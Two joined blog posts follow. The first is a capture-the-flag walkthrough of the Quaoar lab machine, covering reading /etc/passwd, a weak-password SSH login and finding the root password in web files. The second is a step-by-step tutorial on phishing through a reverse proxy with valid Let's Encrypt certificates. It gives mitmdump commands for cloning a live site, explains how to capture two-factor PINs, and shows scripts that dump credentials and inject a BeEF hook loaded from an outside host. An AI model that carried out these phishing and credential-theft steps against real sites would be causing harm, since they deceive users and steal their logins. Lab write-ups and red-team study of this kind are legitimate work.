BINGO! Alright so now we’ve got a list of users on this box we can try to brute force against or should we dive slightly deeper? Maybe also get /etc/shadow? Well that didn’t quite work, so lets look for more low hanging fruit. Lets see what useful information is in /etc/passwd. In this file we have some great information that goes like this
username:password:UserID:GroupID:Comment:HomeDir:UserShell

Great! So do we have any that have password listed or are the ally ‘x’ meaning that it’s being pulled from shadow file? Nope, doesn’t look that way. So we know that WordPress was pretty default and it looks like one of our users is wpadmin. Lets try and see if we can ssh into that with a default/weak password.
root@kali:/usr/share/dirbuster/wordlists# ssh wpadmin@172.16.13.128
wpadmin@172.16.13.128's password: 
Permission denied, please try again.
wpadmin@172.16.13.128's password: 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sat Mar 25 07:45:42 EDT 2017

  System load:  0.12              Processes:           108
  Usage of /:   37.6% of 7.21GB   Users logged in:     0
  Memory usage: 25%               IP address for eth0: 172.16.13.128
  Swap usage:   11%

  Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Oct 22 23:03:05 2016 from 192.168.1.26
$

BOOM! We’re in and got our first shell! Lets see where we’re at and what’s in this directory.
$ pwd
/home/wpadmin
$ ls
flag.txt
$ cat flag.txt
2bafe61f03117ac66a73c3c514de796egoo

Privilege Escalation


Ok so now what we have a shell we need to get some privilege escalation. One of the first places I tend to look is in the cron jobs to see what is running.
wpadmin@Quaoar:~$ pwd
/home/wpadmin
wpadmin@Quaoar:~$ cd /etc/cron.
cron.d/       cron.daily/   cron.hourly/  cron.monthly/ cron.weekly/  
wpadmin@Quaoar:~$ cd /etc/cron.d
wpadmin@Quaoar:/etc/cron.d$ ls
php5

So it looks like we have some stuff in cron.d which was first on the list. So lets take a look at whats in php5 file.
wpadmin@Quaoar:/etc/cron.d$ cat php5
# /etc/cron.d/php5: crontab fragment for php5
#  This purges session files older than X, where X is defined in seconds
#  as the largest value of session.gc_maxlifetime from all your php.ini
#  files, or 24 minutes if not defined.  See /usr/lib/php5/maxlifetime
# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete

What's that? Is that another hidden flag? "# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de". Interesting... Upon further reading of others walk throughs I confirmed that this is indeed the 3rd flag but we've still yet to get any privilege escalation so lets continue on.

So we know it's running a WordPress site and we know it's running Apache. So lets take a look at what's in /var/www/ to see if we find any hidden gems.
wpadmin@Quaoar:/$ cd var/www/
wpadmin@Quaoar:/var/www$ ls
CHANGELOG    index.html
COPYING     INSTALL
hacker-manifesto-ethical.jpg  LICENSE
hacking.jpg    pososibo-ethical-hacking-hack-fond.jpg
hack-planet-1280-amox-zone.jpg  Quaoar.jpg
hack-planet-high-definition-mobile.jpg README.md
Hack_The_Planet2.jpg   robots.txt
Hack_The_Planet3.jpg   tomcat6-tomcat6-tmp
Hack_The_Planet.jpg   upload
hsperfdata_tomcat6   wordpress

Hmm lets cat through some of these files and see what's in them. Seems we have a lot of files to comb over so lets make this a little easier. What I ended up doing was using "grep" to look through multiple files at once.
wpadmin@Quaoar:/var/www$ grep "root" * -R | less

This allows us to look through all the files recursively for "root". Piping to less so we can comb over it all. I also went a step further and used some regex on less to look for "root:" which I suppose I could have done during the grep. I had to really comb over it since it was going through quite a few files but eventually I spotted this


Looks like 'root' has the password 'rootpassword!' so lets give that a try.



That's it! We got all 3 flags at this point. Hope you enjoyed this walk through.

Thursday, March 30, 2017

Reverse proxy phishing with valid certificates

Introduction

This is going to be a quick down and dirty post on how to effectively create cloned websites on the fly by using mitmdump and letsencrypt for valid certificates. We'll use a reverse proxy in front of a site in order to create very convincing and advanced phishing campaign. This is a great way to capture two factor authentication pins and attempt automatic VPN logins.

Acquire a domain

There are plenty of different approaches when it comes to acquiring a domain for your phish. Ideally, you will want it to be very similar to your target. Alternative TLDs are an easy way to make convincing phishing attacks. You may also look into recently expired domains that can be acquired. For this tutorial, I'm going to set up blog.chokepoint.net instead of purchasing a domain for demonstration sake, and demonstrate a phish by setting up a reverse proxy for shodan.io.

CatMyFish is an excellent tool that relies on expireddomains.net in order to find potential expired domains.

Lets Encrypt!

Let's encrypt is a free, automated, and open CA that's available to anyone that owns a domain or subdomain. They have done a lot of work in helping to create secure connections for millions of websites. While they provide a great and legitimate service, it's often abused by criminals and red teams as well. Certbot is a cross platform tool for validating that you do indeed own a domain prior to issuing any certificates.

Download certbot

$ wget https://dl.eff.org/certbot-auto
$ chmod a+x certbot-auto
$ ./certbot-auto

Now simply run the following command, and choose "Spin up a temporary webserver (standalone)"

$ ./certbot-auto certonly

Follow the prompts for your e-mail address and domain as appropriate. Your certificates will be placed in /etc/letsencrypt/live/site.domain.here. In order to prepare the certificates for use with out reverse proxy MITM attack, simply concatenate the private key and fullchain certificates into one file.

$ sudo cat /etc/letsencrypt/live/blog.chokepoint.net/privkey.pem /etc/letsencrypt/live/blog.chokepoint.net/fullchain.pem > blog.chokepoint.net.pem

Download latest mitmproxy

Mitmproxy recently went through some large upgrade that may not have made it into your distribution's repository list yet. We'll go ahead and grab 0.18.2 using pip, as some features regarding the certificates seem to be broken in 2.* versions.

$ sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
$ sudo pip3 install mitmproxy==0.18.2

Execute reverse proxy attack

$ sudo mitmdump -R https://www.shodan.io -p 443 --no-upstream-cert --cert blog.chokepoint.pem -w blog.log
Notice how the URL bar has the green Secure logo and all.

Going Beyond

Here are two scripts that will help in dumping credentials as well as an example script for injecting BEEF hooks into sessions passing through the MITM.

Dumping credentials

Beef injection

Running scripts

In order to execute scripts, use the -s option in mitmdump. For example:
$ sudo mitmdump -R https://www.shodan.io -p 443 --no-upstream-cert --cert blog.chokepoint.pem -s ./dump_creds.py -w blog.log
$ sudo mitmdump -R https://www.shodan.io -p 443 --no-upstream-cert --cert blog.chokepoint.pem -w blog.log -s "beef_injector.py http://beef.chokepoint.net:3000/hook.js"